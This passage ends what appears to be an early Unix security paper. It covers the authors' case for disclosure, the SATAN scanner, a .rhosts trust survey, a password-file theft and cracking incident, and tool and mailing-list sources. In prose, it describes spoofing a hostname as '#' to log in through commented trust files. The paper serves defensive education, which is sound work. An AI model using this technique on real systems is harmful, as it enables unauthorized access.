+were being used, every day, against ourselves and against friendly +system administrators. We believe that by propagating information that +normally wasn't available to those outside of the underworld, we can +increase security by raising awareness. Trying to restrict access to +"dangerous" security information has never seemed to be a very effective +method for increasing security; indeed, the opposite appears to be the +case, since the system crackers have shown little reticence to share +their information with each other. + +While it is almost certain that some of the information presented here +is new material to (aspiring) system crackers, and that some will use it +to gain unauthorized entrance onto hosts, the evidence presented even by +our ad hoc tests shows that there is a much larger number of insecure +sites, simply because the system administrators don't know any better -- +they aren't stupid or slow, they simply are unable to spend the very +little free time that they have to explore all of the security issues +that pertain to their systems. Combine that with no easy access to this +sort of information and you have poorly defended systems. We (modestly) +hope that this paper will provide badly-needed data on how systems are +broken into, and further, to explain _why_ certain steps should be taken +to secure a system. Knowing why something is a problem is, in our +opinion, the real key to learning and to making an informed, intelligent +choice as to what security really means for your site. + +---- + +Appendix A: + +SATAN (Security Analysis Tool for Auditing Networks) + +Originally conceived some years ago, SATAN is actually the prototype of +a much larger and more comprehensive vision of a security tool. In its +current incarnation, SATAN remotely probes and reports various bugs and +weaknesses in network services and windowing systems, as well as +detailing as much generally useful information as possible about the +target(s). It then processes the data with a crude filter and what +might be termed an expert system to generate the final security +analysis. While not particularly fast, it is extremely modular and easy +to modify. + +SATAN consists of several sub-programs, each of which is an executable +file (perl, shell, compiled C binary, whatever) that tests a host for a +given potential weakness. Adding further test programs is as simple as +putting an executable into the main directory with the extension ".sat"; +the driver program will automatically execute it. The driver generates +a set of targets (using DNS and a fast version of ping together to get +"live" targets), and then executes each of the programs over each of the +targets. A data filtering/interpreting program then analyzes the +output, and lastly a reporting program digests everything into a more +readable format. + +The entire package, including source code and documentation, will be +made freely available to the public, via anonymous ftp and by posting it +to one of the numerous source code groups on the Usenet. + +---- + +Appendix B: + +An informal survey conducted on about a dozen Internet sites +(educational, military, and commercial, with over 200 hosts and 40000 +accounts) revealed that on the average, close to 10 percent of a site's +accounts had .rhosts files. These files averaged six trusted hosts +each; however, it was not uncommon to have well over one hundred entries +in an account's .rhosts file, and on a few occasions, the number was +over five hundred! (This is not a record one should be proud of +owning.) In addition, _every_ site directly on the internet (one site +was mostly behind a firewall) trusted a user or host at another site -- +thus, the security of the site was not under the system administrators +direct control. The larger sites, with more users and hosts, had a +lower percentage of users with .rhosts files, but the size of .rhosts +files increased, as well as the number of trusted off-site hosts. + +Although it was very difficult to verify how many of the entries were +valid, with such hostnames such as "Makefile", "Message-Id:", and +"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we +question the wisdom of putting a site's security in the hands of its +users. Many users (especially the ones with larger .rhosts files) +attempted to put shell-style comments in their .rhosts files, which most +UNIX systems attempt to resolve as valid host names. Unfortunately, an +attacker can then use the DNS and NIS hostname spoofing techniques +discussed earlier to set their hostname to "#" and freely log in. This +puts a great many sites at risk (at least one major vendor ships their +systems with comments in their /etc/hosts.equiv files.) + +You might think that these sites were not typical, and, as a matter of +fact, they weren't. Virtually all of the administrators knew a great +deal about security and write security programs for a hobby or +profession, and many of the sites that they worked for did either +security research or created security products. We can only guess at +what a "typical" site might look like. + +---- + +Appendix C: + +After receiving mail from a site that had been broken into from one of +our systems, an investigation was started. In time, we found that the +intruder was working from a list of ".com" (commercial) sites, looking +for hosts with easy-to steal password files. In this case, +"easy-to-steal" referred to sites with a guessable NIS domainname and an +accessible NIS server. Not knowing how far the intruder had gotten, it +looked like a good idea to warn the sites that were in fact vulnerable +to password file theft. Of the 656 hosts in the intruder's hit list, 24 +had easy-to-steal password files -- about one in twenty-five hosts! One +third of these files contained at least one password-less account with +an interactive shell. With a grand total of 1594 password-file entries, +a ten-minute run of a publically-available password cracker (Crack) +revealed more than 50 passwords, using nothing but a low-end Sun +workstation. Another 40 passwords were found within the next 20 +minutes; and a root password was found in just over an hour. The result +after a few days of cracking: five root passwords found, 19 out of 24 +password files (eighty percent) with at least one known password, and +259 of 1594 (one in six) passwords guessed. + +---- + +Appendix D: + +How to get some free security resources on the Internet + +Mailing lists: + +o The CERT (Computer Emergency Response Team) advisory mailing list. +Send e-mail to cert@cert.org, and ask to be placed on their mailing +list. + +o The Phrack newsletter. Send an e-mail message to +phrack@well.sf.ca.us and ask to be added to the list. + +o The Firewalls mailing list. Send the following line to +majordomo@greatcircle.com: + + subscribe firewalls + +o Computer Underground Digest. Send e-mail to +tk0jut2@mvs.cso.niu.edu, asking to be placed on the list. + +Free Software: + +COPS (Computer Oracle and Password System) is available via anonymous +ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+. + +The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, +in pub/security. + +Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28. + +TAMU is a UNIX auditing tool that is part of a larger suite of excellent +tools put out by a group at the Texas A&M University. They can be +gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU. + +Sources for ftpd and many other network utilities can be found in +ftp.uu.net, in packages/bsd-sources. + +Source for ISS (Internet Security Scanner), a tool that remotely scans +for various network vulnerabilities, is available via anonymous ftp from +ftp.uu.net, in usenet/comp.sources.misc/volume40/iss. + +Securelib is available via anonymous ftp from ftp.uu.net, in +usenet/comp.sources.misc/volume36/securelib. + +The latest version of berkeley sendmail is available via anonymous ftp +from ftp.cs.berkeley.edu, in ucb/sendmail. + +Tripwire, a UNIX filesystem integrity checker+, is available via anonymous +ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire. + +---- + +Bibliography: + +Baldwin, Robert W., Rule Based Analysis of Computer Security, +Massachusetts Institute of Technology, June 1987. + +Bellovin, Steve, Using the Domain Name System for System Break-ins, +1992 (unpublished). + +Massachusetts Institute of Technology, X Window System Protocol, +Version 11, 1990. + +Shimomura, Tsutomu, private communication. + +Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992. + +---- + +Suggested reading: + +Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", +Computer Communication Review 19 (2), 1989; a comment by Stephen +Kent appears in volume 19 (3), 1989. + +Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security", +O'Reilly and Associates, Inc., 1992. + +Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol +Study: Network Information Service", Computer Communication Review +22 (5) 1992. + +Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume +Four, Issue Forty-Three, File 14 of 27. + +Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept +1993. + +Schuba, Christoph, "Addressing Weaknesses in the Domain Name System +Protocal", Purdue University, August 1993. + +Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM +27 (8), 1984. |